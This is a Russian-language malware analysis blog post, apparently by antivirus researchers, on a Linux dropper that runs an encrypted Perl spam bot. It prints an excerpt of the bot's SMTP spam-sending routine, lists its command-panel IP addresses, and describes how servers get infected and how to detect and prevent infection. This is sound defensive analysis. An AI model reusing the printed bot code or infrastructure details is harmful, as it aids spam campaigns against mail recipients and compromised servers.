И еще раз о безопасности *nix

Учитывая, что мой предыдущий пост был принят в штыки многими линуксоидами, думаю, будет логично рассмотреть более подробно указанный пример, тем более что на днях к нам поступила новая модификация Trojan-Dropper.Linux.Prl.

Trojan-Dropper.Linux.Prl.b

Имя файла: ob.pl. Тип файла: ELF. Обнаружен пользователем на своём сервере после публикации предыдущего блогпоста. Принцип работы остался прежний — создание процесса «/usr/bin/perl» и передача ему через pipe Perl-скрипта.

Сам скрипт хранится в теле трояна в зашифрованном виде. Алгоритм расшифровки при этом выглядит так:


Алгоритм расшифровки Perl-скрипта.

Основная цель работы расшифрованного Perl-скрипта — рассылка спама.

Часть Perl-скрипта, отвечающего за рассылку писем:

if ($session->{$handle}{status} eq «mx_rd»)
{
$session->{$handle}{buffer} = «HELO $buffers->{helo}x0Dx0A»;
$session->{$handle}{status} = «mx_gr»;
}
elsif ($session->{$handle}{status} eq «mx_gr»)
{
my ($mail) = &mail($session->{$handle}{sender});

$session->{$handle}{buffer} = «MAIL FROM: x0Dx0A»;
$session->{$handle}{status} = «mx_mf»;
}
elsif ($session->{$handle}{status} eq «mx_mf»)
{
my ($mail) = &mail($session->{$handle}{object});

$session->{$handle}{buffer} = «RCPT TO: x0Dx0A»;
$session->{$handle}{status} = «mx_rt»;
}
elsif ($session->{$handle}{status} eq «mx_rt»)
{
$session->{$handle}{buffer} = «DATAx0Dx0A»;
$session->{$handle}{status} = «mx_dt»;
}
elsif ($session->{$handle}{status} eq «mx_dt»)
{
$session->{$handle}{buffer} = &data($session->{$handle}{object}, $session->{$handle}{sender});
$session->{$handle}{buffer} .= «x0Dx0A.x0Dx0A»;
$session->{$handle}{status} = «mx_dr»;
}
elsif ($session->{$handle}{status} eq «mx_dr»)
{
$buffers->{good}[0] ++;
$buffers->{good}[1] .= «$session->{$handle}{object}x0A» if $buffers->{level};

$session->{$handle}{object} = «»;

$session->{$handle}{buffer} = «QUITx0Dx0A»;
$session->{$handle}{status} = «mx_qt»;


Пример рассылаемых писем.

В боте при этом указаны IP-адреса, где установлены административные панели для его работы: 195.144.21.122, 195.144.21.124 и 194.54.83.114.

Откуда дровишки?

Прочитав несколько топиков на различных форумах по данному вопросу и связавшись с администраторами нескольких зараженных серверов, нам удалось выяснить, что данные спам-боты появились на их серверах вследствие 3-х основных причин:

  1. кража пароля от FTP, с помощью вредоносных программ;
  2. перебор паролей от FTP, SSH по словарю;
  3. проникновение через phpbb.

Во всех трёх случаях загрузка спам-бота сопровождалась изменением HTML-файлов и вставкой в них iframe’ов на зараженные сайты.

Обнаружение, лечение, предупреждение повторного заражения

В общем случае обнаружить работу спам бота можно просто с помощью команды «ps -aux». При этом можно выделить три случая, характерных для заражения данным ботом — в зависимости от способа, которым злоумышленник установил его на систему:

  1. интерпретатор Perl запущен с параметрами -w и путем к файлу, непосредственно содержащим указанный спам-бот (характерен для случая проникновения через phpbb);
  2. Perl с параметром -w и путём к файлу, отсутствующему на сервере. (характерен для случая с кражей пароля от FTP с помощью троянских программ);
  3. Perl, запущенный без параметров с помощью дроппера (характерен при переборе пароля).

Из всего выше указанного можно сделать простые выводы для предотвращении заражения машин этим спам-ботом:

  1. Использовать сложные пароли
  2. Использовать последние версии продуктов установленных на сервере
  3. Следить за безопасностью на всех компьютерах, используемых для доступа к сайтам.

Публикации на схожие темы

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *